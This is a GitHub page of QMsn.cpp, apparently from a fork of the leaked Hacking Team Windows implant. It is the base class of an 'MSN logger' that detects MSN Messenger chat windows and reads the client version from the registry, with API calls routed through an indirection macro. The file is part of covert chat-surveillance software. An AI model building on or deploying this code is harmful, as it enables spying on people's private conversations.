forked from hackedteam/core-win32
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathQMsn.cpp
191 lines (153 loc) · 3.5 KB
/
QMsn.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
/*
* MSN logger, base class
*
* Coded by: Quequero
* Date: 14/Mar/2008
*
*/
#include <string>
#include <vector>
#include <exception>
using namespace std;
#include "QMsn.h"
#include "QAgent.h"
#include "..\common.h"
QMsn::QMsn()
{
hwChat = hwUserList = hwLogin = hwContacts = hwHistory = NULL;
}
/**
* Torna TRUE se la finestra identificata dall'hwnd contenuto in QProperty appartiene ad MSN
*/
BOOL QMsn::Is(HWND hw)
{
UINT i = 1;
WCHAR wClassName[256] = {0};
WCHAR wTitle[256] = {0};
HWND hTmp;
// Msn
PWCHAR pwClass[] = {
L"IMWindowClass",
L"DirectUIHWND",
0,
};
// Msn Live 2009
PWCHAR pwClass2009[] = {
L"IMWindowClass",
L"IM Window Class",
L"DirectUIHWND",
0,
};
// Msn Live 2011
PWCHAR pwClass2011[] = {
L"TabbedHostWndClass",
L"WLXDUI",
L"CtrlNotifySink",
L"MsgrViewHost View Host",
0,
};
if(FNC(GetClassNameW)(hw, wClassName, 256) == 0)
return FALSE;
hTmp = hw;
i = 1;
if(!wcsncmp(wClassName, pwClass[0], wcslen(wClassName))) {
while(pwClass[i] != 0){
hTmp = FNC(FindWindowExW)(hTmp, NULL, pwClass[i], NULL);
// Non e' Msn
if(hTmp == NULL)
break;
i++;
}
if (hTmp)
return TRUE;
}
hTmp = hw;
i = 1;
if(!wcsncmp(wClassName, pwClass2009[0], wcslen(wClassName))) {
while(pwClass2009[i] != 0){
hTmp = FNC(FindWindowExW)(hTmp, NULL, pwClass2009[i], NULL);
// Non e' Msn Live 2009
if(hTmp == NULL)
break;
i++;
}
if (hTmp)
return TRUE;
}
hTmp = hw;
i = 1;
if(!wcsncmp(wClassName, pwClass2011[0], wcslen(wClassName))) {
while(pwClass2011[i] != 0){
hTmp = FNC(FindWindowExW)(hTmp, NULL, pwClass2011[i], NULL);
// Non e' Msn Live 2011
if(hTmp == NULL)
break;
i++;
}
if (hTmp)
return TRUE;
}
return FALSE;
}
UINT QMsn::Version(const HWND hw)
{
UINT uVersion;
BYTE bVersion;
uVersion = VersionEx(NULL);
bVersion = (BYTE)((uVersion & 0xff000000) >> 24);
switch(bVersion){
case 0x0f:
return MSN_LIVE_2011;
case 0x0e:
return MSN_LIVE_2009;
case 0x08:
return MSN_LIVE;
case 0x07:
return MSN_7;
case 0x06:
return MSN_6;
default:
return UNKNOWN_VERSION;
}
return UNKNOWN_VERSION;
}
// MSN: HKEY_CURRENT_USER\Software\Microsoft\MSNMessenger\AppCompatCanary
// La versione di MSN e' storata in questo modo: x.x.xxxx.xxxx, a noi interessano
// solo la major e minor version che vengono messe in un UINT (bit piu' significativo
// == major), per il momento i 16 bit inferiori dell'UINT ritornato sono settati a
// 0. Quindi la versione 8.5.1306.1101 sara' identificata come: 0x08050000
UINT QMsn::VersionEx(const HWND hw)
{
HKEY hKey;
WCHAR wVersion[20] = {0}, wTmp[20] = {0};
PWCHAR pwVer;
DWORD dSize = sizeof(wVersion);
UINT uVersion = 0, uLen, uTmp;
if(FNC(RegOpenKeyExW)(HKEY_CURRENT_USER, L"Software\\Microsoft\\MSNMessenger", NULL, KEY_QUERY_VALUE, &hKey) != ERROR_SUCCESS)
return UNKNOWN_VERSION;
if(FNC(RegQueryValueExW)(hKey, L"AppCompatCanary", NULL, NULL, (LPBYTE)&wVersion, &dSize) != ERROR_SUCCESS){
FNC(RegCloseKey)(hKey);
return UNKNOWN_VERSION;
}
FNC(RegCloseKey)(hKey);
pwVer = wcschr(wVersion, '.');
if(pwVer == NULL)
return UNKNOWN_VERSION;
uLen = pwVer - wVersion;
memcpy(wTmp, wVersion, uLen * sizeof(WCHAR));
uTmp = _wtoi(wTmp);
uVersion = uTmp << 24;
pwVer++;
pwVer = wcschr(pwVer, '.');
if(pwVer == NULL)
return uVersion;
uLen = pwVer - wVersion - uLen - 1;
memcpy(wTmp, pwVer - uLen, uLen * sizeof(WCHAR));
uTmp = _wtoi(wTmp);
uVersion |= (uTmp << 16);
return uVersion;
}
const PWCHAR QMsn::GetMessenger()
{
return L"MSN";
}